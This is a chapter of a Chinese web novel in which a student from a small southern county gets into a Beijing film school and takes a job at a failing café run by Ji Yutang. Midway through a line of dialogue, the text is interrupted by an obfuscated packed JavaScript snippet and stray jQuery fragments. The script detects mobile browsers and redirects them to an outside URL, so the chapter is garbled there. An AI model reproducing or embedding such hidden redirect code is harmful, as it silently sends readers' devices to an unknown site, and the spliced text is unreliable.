chapter05


    周续冬出生在一座南方县城。靠海吃海。母亲早些年出船捕鱼，做海鲜生意。后来身体落病根，需要远离潮湿地带。就拿所有积蓄，外加借来的几万块钱，在小学附近开了家烘焙店。


    她对演戏这条路真正有希望，是在初二的某个午后，替母亲看店时，隔壁艺考机构的老板来定开业蛋糕。


    “照着图片做吧，记得把颜色换掉。对了，奶油要用健康的哦，不可以骗阿姨的。”


    周续冬那时候已经一米六五，外形瘦高而出众。她点头，嗓音清润，“用的都是动物奶。”


    看她低头认真写备注，机构老板忽然道，“小朋友，你今年多大了？”


    “虚岁十五。”


    “哦，你对唱歌跳舞，或者演戏这方面，感兴趣吗？”


    小朋友心中警铃大作，觉得眼前的阿姨不怀好意，像人贩子，找借口要给母亲发消息。老板似乎也察觉自己太过唐突，递给她一张名片。


    “如果有想法，可以让你家长联系我。或者省点事，直接来我刚开业的机构。”


    不同于那个年代，简单印刷黑体字的名片。手里的这张，绘制着精美图案，还注有很多明星的艺考宣言。


    其中一位是这样说的。


    “荆棘血铺青云路，梦想在哪里追逐都等价。”


    在哪里追逐，都等价。


    风铃声清亮，玻璃门被推开又合上，是老板离开。周续冬在堆满订单纸的柜台前坐了很久，起身去后厨裱蛋糕胚。


    完成所有任务，她脱去手套，终于将名片磨蹭着发给母亲。对方许是在忙，暂且未回复。


    想撤回却已超时。想到家里条件，周续冬眼睛湿漉漉，又发出一句。


    妈妈，对不起。


    -


    这年她如愿参加艺考培训，走表演方向。母亲没有反对，而是花尽心思为她寻觅资源更好的机构。县城的师资太有限，高中三年，除去平时在校上文化课，周续冬经常坐绿皮去往隔壁城市，上大师专业课。


    数百张火车票隐喻着少女的梦想。


    集训的最后几天，周续冬开始情绪崩溃，痛哭。午休时，她躲在上铺流泪。


    泪珠串成誓言，她说一定要考上。后来顺利被电影学院录取，她泣不成声，抱着母亲说谢谢您。


    那年的暑假她去书店兼职，工作两个月，赚了七千。桂花开.苞的季节，周续冬再次坐上绿皮火车，去往市区的机场。出门前，她将母亲转的钱退还。


    从南到北。她攥着七千块钱，从海边小城，去往北京。


    -


    九月，温度尚且宜人。


    在宿舍醒来时，看着陌生的天花板，周续冬有瞬茫然。她伸手抚摸空气，害怕当下只是一场梦。


    她发呆好久，差点忘记时间。舍友轻轻拍她的床沿，“冬冬，起床啦，早上有两节语言艺术。”


    学校大多是标准六人寝。但她们几位运气好，住进少量四人宿舍。也因如此，前几天入学初见时，大家看起来都很愉悦，相处融洽。


    周续冬诈尸般惊醒，迅速爬下梯子去洗漱。


    “来不及了，咱们早餐就凑合着路上吃吧。”说这话的是颜然，青岛姑娘，此时她从快递箱里扯出四片袋装面包，投篮似的扔到每个人怀里，“走，中午再吃点好的。”


    宿舍门合上，四人素面朝天，怀着对早课的怨气，没精神地去往B栋排练楼。


    她们坐在离后门最近的位置。早八的理论，教室内的学生基本都很绝望。好在任课教师慈眉善目，她们还能靠聊天打发时间。


    “晚上去不去吃铜锅涮肉？”颜然小声询问，“四人餐团购699，我觉得挺划算。”


    “好啊，就当宿舍团建。”


    “吃吃吃。哎呀，说得我现在饥肠辘辘的。”


    周续冬坐在颜然左手边，安静划着重点。被问到时，她捏着笔，“我有兼职，就不去了。”


    前些日子，宿舍夜聊时，大家都开始介绍自己的家庭。颜然的母父在国企工作，另外两位，分别是做外贸生意，和科研人员。


    对于这方面，周续冬并没有所谓的羞耻或是自卑心理。她很大方，“我妈妈以前是卖海鲜的，现在开家蛋糕店。”


    舍友们也都极其友善。只有一时的怔愣，随后纷纷，“哇，那你好幸福哦。小时候可以天天吃海鲜，现在又实现甜品自由！”


    周续冬低头笑了下，又道，“说实话，来这边上学的费用对我而言是偏高的。所以我需要勤工俭学，可能过段时间就要去兼职了。”


    舍友都表示理解，还很热心地帮忙留意学校附近的工作。并且在平日里多照顾她一些。


    “不好意思呀，下次肯定。”周续冬面有歉意。


    “没事。”颜然拍拍她的肩，“你找到工作啦？”


    “嗯，学校奶茶店刚好还缺人，下午没课，我去试岗。”


    另外两位舍友说好吧，别累着自己。大不了去做自媒体，靠脸起号。周续冬笑着，“好，我会看准时机偷懒的。”


    吃过午饭，舍友们把她送到奶茶店后，就回寝室休息。周续冬换上工作服，听店长的，先去后厨处理水果。


    “动作麻利点儿，大学里的奶茶店，每天都爆单。你这也太慢了。”


    这话确实在理，周续冬听后道歉，加快去皮的速度。


    这份工作薪资很低，每月三千出头，上班还累。因此根本招不到员工。店长还在耳边乱叫，几乎是刻薄到挑刺的程度。


    周续冬深呼吸，觉得能忍。两小时后，她平静地放下削皮刀，对店长说，“我不干了。”


    后者停顿，“啊？”


    眼看着她真要跑，店长急着想挽留，毕竟再没有员工就得她亲自上岗。“怎么的这是，我看你干得挺不错。”


    “我手速太慢。”


    “能练！”


    周续冬将工作服还给她，离店前这么说，“其实是因为你太吵。三十多岁了，沉稳点不好吗。”


    淡淡地创飞店长后，她离开这片区域，却也没回宿舍。从操场绕到图书馆，索性出校门。


    北京的街道旁种有很多古树，国槐，松柏。秋季时候叶片开始泛黄，看得眼睛暖洋洋的。


    周续冬就这么沿着走，偶尔会踩到落叶。半小时过去，她愣是没寻见一则招聘信息。


    好累。


    正想认命回宿舍，忽地听见有女孩担忧，“老板，要不咱剪点宣传视频发社交平台吧。再这么下去，今年就得倒闭。”


    是一家咖啡店。店面适中，很经典的ins风，那年正流行。室外的座位，有两人面对面坐着。


    “那就倒吧。放心，我会发工资。”


    回答的女人看起来年纪稍大些，二十左右。她似乎是觉得无所谓，继续靠着椅背晒太阳，很自得。


    阳光落在她的脸上，映出其独特气质，随性自由，像是对世间所有事都不在乎。


    鬼使神差地，周续冬停顿脚步，上前问，“你好，请问店里招员工吗。”


    这是她与纪语棠的初见。


    在北京，一个阳光正好的午后。


    女孩听后笑出声，摆手，“我们店都快倒闭啦，再招员工，老板就真的饿死在街头了。”


    女人没反驳。坐着，抬头看向周续冬。


    “好，打扰了。”


    “你想应聘什么岗位？”


    两句话同时响起，周续冬将腿收回来，眸光闪烁，“我什么都可以干。”


    “薪资方面呢？有要求吗。”


    “老板......你不要命了。”女孩目瞪口呆。


    女人没应，补充，“我这边开的比较低，如果介意还请另寻高明。”


    “其实也没什么要求。那您的设想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936569|177245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    工资是多少呢。”


    三千左右就可以的，周续冬想。该不会比这还低吧？那她真得考虑一下了。


    “底薪六千，全勤六百，迟到罚钱。”


    “啊。”她以为自己听错了，“六，六千吗。”


    “嫌太少？”


    “没有没有。”周续冬缓过神，忙道，“那我是什么时候过来上班呢。”


    “都可以。”


    真是随意啊......


    暗暗欣喜过后，她想到什么，有些忐忑，“但我的个人情况还没告知您。”


    “我今年十八周岁，大一在读。并非长期工。只有没课的时候能够来店里兼职。”说到最后她的声音弱下去。


    常人听到这条件能翻脸，但眼前的女人反应却是平淡。她听完这句话，点头思索会儿，“嗯，那按小时算吧。”


    “可以吗？”


    “当然。”


    生活费终于有眉目，周续冬不免重重松口气，拿出手机，“那可以加个联系方式吗？您叫什么呢。”


    “纪语棠。”


    很好听的名字呀。


    周续冬扫着她的二维码，“我叫周续冬。”


    “嗯，”女人点头，“以后跟我说话时不用喊您。”


    “其实老板她年纪也不大，今年才二十一岁。”女孩说罢让她别杵着，坐会儿。


    周续冬乖巧坐下。忽然想到，这年纪，应该还在上学吧。她见对方长相标致，很明显的骨相美女，试探问，“您......你在附近读书吗？”


    万一是校友呢。


    “老板原本在美国留学，退学回国创业了。”


    怪不得心态这么平稳，原来是富二代。周续冬哦两声，想说原来如此。又听见纪语棠不紧不慢道，“家里破产，供不起上学的费用。我出来自力更生。”


    她说这话时，语调轻松，是丝毫没有压力的模样。周续冬起先是不相信的，只当是富人的玩笑。


    直到旁边的女孩劝她，“所以老板，你别再颓废下去了。多花点心思在门店上，赚到钱，你就不用一天只吃一顿饭。”


    啊，已经到吃不饱饭的程度了吗。


    居然真是豪门破产的悲惨故事？


    看着默不作声的纪语棠，周续冬忽然就起些怜意，又觉得自己这是给对方添麻烦，“如果店里确实不缺员工的话，我可以去别家应聘。毕竟一份工资数额也不少，会有压力......”


    纪语棠忽然闷出声笑。


    “你在可怜我啊？”


    怕伤及她自尊，周续冬忙摇头，“我只是觉得，自己会是累赘。”


    眼前的少女说话时有些紧张，声音也软，带着几丝试探与后退性。好像只要自己稍微严肃点，她就会像受惊的猫，慌忙逃窜。


    “你是南方的？一个人来北京上学？”


    周续冬不懂她为什么忽然问这些，但还是点头，“是的。”


    “哦，我也是南方人。”


    虽然没了解过对方的具体籍贯，但在这个说话满是儿化音的城市，还是有种老乡见面的落泪感。


    周续冬说：“我老家只是个小县城，你应该没听过，叫都桐。”


    “县级市么，我知道。”纪语棠低头抿了口手边的咖啡，“我外婆是都桐人。”


    这下真成半个老乡了。


    意外中有些惊喜，周续冬笑道，“那真是有缘。”


    “是。”纪语棠单手托着下巴，若有所思着，意味深长，“我跟你有缘。”


    “这座城市的名字也很好听。桐。”


    “是吗，可能是因为，我们那边有很多桐树吧。”周续冬接过旁边女孩递来的咖啡，道声谢，差点说难道你们店的产品都是给自己喝的吗？


    “原来是这样。”纪棠语用餐巾擦拭嘴角，漫不经心，“我还以为。”


    “都桐的意思是，都是同性恋。”